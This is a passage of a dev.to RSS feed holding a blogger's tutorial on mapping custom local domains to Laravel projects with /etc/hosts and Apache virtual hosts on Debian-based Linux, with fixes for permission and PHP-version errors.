&lt;p&gt;Hey there, fellow Realmer! If this guide illuminated a new path in your coder/hacker journey, your support would mean a lot. Every bit of magic helps&lt;/p&gt;

&lt;p&gt;👑 &lt;strong&gt;Crown &amp;amp; Share&lt;/strong&gt;: If you found value in this post, please give it a crown and share it with your fellow code/hacker enthusiasts. Spreading knowledge is what Sudorealm is all about! &lt;em&gt;Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King!&lt;/em&gt; 🤴&lt;/p&gt;

&lt;p&gt;🛍 &lt;strong&gt;Affiliate Treasures Below&lt;/strong&gt;: Dive into the depths below the post to uncover some affiliate products I've curated just for you. It's a great way to support the realm and discover some nerdy treasures.&lt;/p&gt;

&lt;p&gt;🐦 &lt;strong&gt;Twitter/X Shoutout&lt;/strong&gt;: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you!&lt;/p&gt;

&lt;p&gt;☕️ &lt;strong&gt;Coffee Driven Development&lt;/strong&gt;: Enjoyed the content? Help keep my coding sessions energized with a cuppa! &lt;strong&gt;&lt;a href="//buymeacoffee.com/ZixcW8N"&gt;BuyMeACoffee&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!&lt;/p&gt;

&lt;p&gt;I am &lt;a href="https://sudorealm.com/blog/profile/d3ad-r1nger" rel="noopener noreferrer"&gt;@d3ad R1nger&lt;/a&gt;, Creator of Sudorealm, thank you for reading.&lt;/p&gt;

</description>
      <category>tooling</category>
      <category>terminal</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Custom Local Development Domains with Apache on Debian-based Systems</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Tue, 29 Aug 2023 08:48:50 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/custom-local-development-domains-with-apache-on-debian-based-systems-2a2o</link>
      <guid>https://dev.to/d3adr1nger/custom-local-development-domains-with-apache-on-debian-based-systems-2a2o</guid>
      <description>&lt;p&gt;I recently took a leap into the vast expanse of Linux, specifically choosing Parrot OS for my coding endeavors in security and web app development. The journey, to be honest, hasn’t exactly been a breeze. But, oddly enough, I've found the challenges invigorating. Every hiccup and every roadblock has been an opportunity to dive deeper, understand the intricacies of the OS, and ultimately grow as a coder. This constant learning and tinkering is, after all, the essence of what makes a simple coder like me a better hacker!&lt;/p&gt;

&lt;p&gt;In this continuous voyage of discovery, one area that stood out as crucial, especially for those involved in web app development, is the setting up of custom local development domains. These domains not only streamline the development process but also mirror real-world scenarios, helping coders to better emulate and understand the deployment environment. In this guide, I'll walk you through how to set up these custom domains using Apache on Debian-based systems, drawing from my recent adventures with Parrot OS. &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What is a Local Domain?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Picture the vast Star Wars galaxy. Each planet, like Tatooine or Hoth, has a unique name so that pilots and navigators know where to go. Now, imagine your computer as a mini-galaxy. In this mini-galaxy, instead of planets, you have websites.&lt;/p&gt;

&lt;p&gt;A local domain is like naming one of those websites with a Star Wars planet name. Instead of visiting "127.0.0.1/tatooine," you'd visit "tatooine.local" or "tatooine.test"  on your browser, and it would take you to a website you're working on, right on your computer.&lt;/p&gt;

&lt;p&gt;It's just a way to make navigation easier and more fun in your mini-galaxy of projects!&lt;/p&gt;

&lt;h3&gt;
  
  
  Why did I use it for?
&lt;/h3&gt;

&lt;p&gt;Well, in Laravel development you are advised to run &lt;code&gt;php artisan serve&lt;/code&gt; when you want to start developing your project, then you navigate to &lt;code&gt;127.0.0.1:8000&lt;/code&gt; and there it is your precious little project. &lt;br&gt;
First of all, I hate running an extra command just to run a website... That's it really... I despise this extra step. Local domains solve that problem of mine so... here we are. &lt;/p&gt;
&lt;h2&gt;
  
  
  彳1. Hosts File
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;hosts&lt;/code&gt; file in Linux systems is a text file that maps hostnames to IP addresses, allowing computers to manually override DNS resolution for specific addresses. It's often used for local testing, development, or blocking certain websites. Located at &lt;code&gt;/etc/hosts&lt;/code&gt;, users can add custom associations between hostnames and IP addresses, but caution is advised to prevent connectivity issues. &lt;br&gt;
Open the hosts file with &lt;code&gt;sudo nano /etc/hosts&lt;/code&gt; and at the end of the &lt;code&gt;hosts&lt;/code&gt; file add the desired name of your project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1    sudorealm.test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;this configuration maps the domain &lt;code&gt;sudorealm.test&lt;/code&gt; to your local machine (127.0.0.1). &lt;/p&gt;

&lt;h2&gt;
  
  
  彳2. Set up Apache configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Navigate to Apache's &lt;code&gt;sites-available&lt;/code&gt; directory
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/apache2/sites-available/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Create a new configuration file for the project
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano sudorealm.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
    ServerName sudorealm.test
    DocumentRoot /path/to/your/whatever/project/public

    &amp;lt;Directory /path/to/your/whatever/project/public&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    &amp;lt;/Directory&amp;gt;
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My project files are under the Code directory and I navigate to it with &lt;code&gt;~/Code/sudorealm/&lt;/code&gt;  but please keep in mind that the &lt;code&gt;~&lt;/code&gt; is a shorthand for a user's home directory. In configuration files, especially server configurations like Apache's, it's best to use the absolute path. This is because the server might not understand or resolve the &lt;code&gt;~&lt;/code&gt; shorthand in the same way a shell would. Apache doesn't interpret &lt;code&gt;~&lt;/code&gt; as the home directory, so using it might lead to configuration errors.&lt;/p&gt;

&lt;p&gt;And just to be clear, I tried it and it didn't work. 😄&lt;/p&gt;

&lt;p&gt;💾 &lt;strong&gt;Save and close the file&lt;/strong&gt;&lt;br&gt;
Press &lt;code&gt;CTRL + X&lt;/code&gt; to save then press &lt;code&gt;Y&lt;/code&gt; to exit (in nano).&lt;/p&gt;
&lt;h3&gt;
  
  
  Enable the new configuration
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;a2ensite sudorealm.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Ensure the &lt;code&gt;mod_rewrite&lt;/code&gt; module is enabled
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;a2enmod rewrite
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Restart Apache
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart apache2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now if you've updated your &lt;code&gt;/etc/hosts/&lt;/code&gt; file appropriately and as mentioned, you should be able to access &lt;code&gt;http://sudorealm.test&lt;/code&gt; in your browser. &lt;/p&gt;
&lt;h2&gt;
  
  
  Possible step: ⼻ No Permissions, Forbidden!
&lt;/h2&gt;

&lt;p&gt;There are some times where you come across this pesky message while working on your local setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forbidden
You don't have permission to access this resource.

Apache/2.4.56 (Debian) Server at sudorealm.test Port 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No need for panic! 🚀 This usually indicates a permission issue. Here's a quick solution:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Assign Proper Ownership&lt;/strong&gt;: Make sure your project and its sub-files are in the good hands of the web server user, which is commonly &lt;code&gt;www-data&lt;/code&gt; on Debian-flavored systems.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; www-data:www-data /path/to/your/project/public
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Set Read and Execute Permissions&lt;/strong&gt;: It's equally important for the Apache user to have the right to read your Laravel project files and stroll through its directories.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; yourusername:www-data /home/yourusername/Code/projectFolder
&lt;span class="nb"&gt;sudo chmod&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 775 /home/yourusername/Code/projectFolder
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Give Apache a Gentle Nudge&lt;/strong&gt;: Lastly, remember to refresh Apache's memory to ensure it's up-to-date with these changes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Possible step: ⼻ Wrong php version on Composer!
&lt;/h2&gt;

&lt;p&gt;Since I am using Laravel I got the following message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Composer detected issues in your platform: Your Composer dependencies require a PHP version "&amp;gt;= 8.1.0"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you face this, even after confirming the correct PHP version using the &lt;code&gt;php -v&lt;/code&gt; command, it means that Apache is still referencing the outdated PHP version. But not to worry, this can be easily rectified!&lt;br&gt;
Here's a step-by-step to align Apache with the desired PHP version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;a2dismod php7.4
&lt;span class="nb"&gt;sudo &lt;/span&gt;a2enmod php8.1
&lt;span class="nb"&gt;sudo &lt;/span&gt;service apache2 restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With these commands, Apache is set to use PHP 8.1, ensuring smoother development experiences with php8.1.&lt;/p&gt;

&lt;h2&gt;
  
  
  😎 Hacking story.
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Stage:&lt;/strong&gt;&lt;br&gt;
Marla, our InstaGlam diva, was living her best online life. Filters, fans, and fabulousness – she had it all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Sneaky Deed:&lt;/strong&gt;&lt;br&gt;
Find out in the &lt;a href="https://sudorealm.com/blog/setting-up-custom-local-development-domains-with-apache-on-debian-based-systems-a-comprehensive-guide" rel="noopener noreferrer"&gt;Sudorealm Post&lt;/a&gt;😎&lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 Spread the Love &amp;amp; Support the Realm
&lt;/h2&gt;

&lt;p&gt;Hey there, fellow Realmer! If this guide illuminated a new path in your Linux/hacker journey, your support would mean a lot. Every bit of magic helps&lt;/p&gt;

&lt;p&gt;👑 &lt;strong&gt;Crown &amp;amp; Share&lt;/strong&gt;: If you found value in this post, please give it a crown and share it with your fellow code enthusiasts. Spreading knowledge is what Sudorealm is all about! &lt;em&gt;Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King!&lt;/em&gt; 🤴&lt;/p&gt;

&lt;p&gt;🛍 &lt;strong&gt;Affiliate Treasures Below&lt;/strong&gt;: Dive into the depths below the post in &lt;a href="https://sudorealm.com/blog/setting-up-custom-local-development-domains-with-apache-on-debian-based-systems-a-comprehensive-guide" rel="noopener noreferrer"&gt;sudorealm.com&lt;/a&gt; to uncover some affiliate products I've curated just for you. It's a great way to support the realm and discover some nerdy treasures.&lt;/p&gt;

&lt;p&gt;🐦 &lt;strong&gt;Twitter/X Shoutout&lt;/strong&gt;: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you!&lt;/p&gt;

&lt;p&gt;☕️ &lt;strong&gt;Coffee Driven Development&lt;/strong&gt;: Enjoyed the content? Help keep my coding sessions energized with a cuppa! &lt;strong&gt;&lt;a href="//buymeacoffee.com/ZixcW8N"&gt;BuyMeACoffee&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!&lt;/p&gt;

&lt;p&gt;I am &lt;a href="https://sudorealm.com/blog/profile/d3ad-r1nger" rel="noopener noreferrer"&gt;@d3ad R1nger&lt;/a&gt;, Creator of Sudorealm, thank you for reading.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>hacking</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
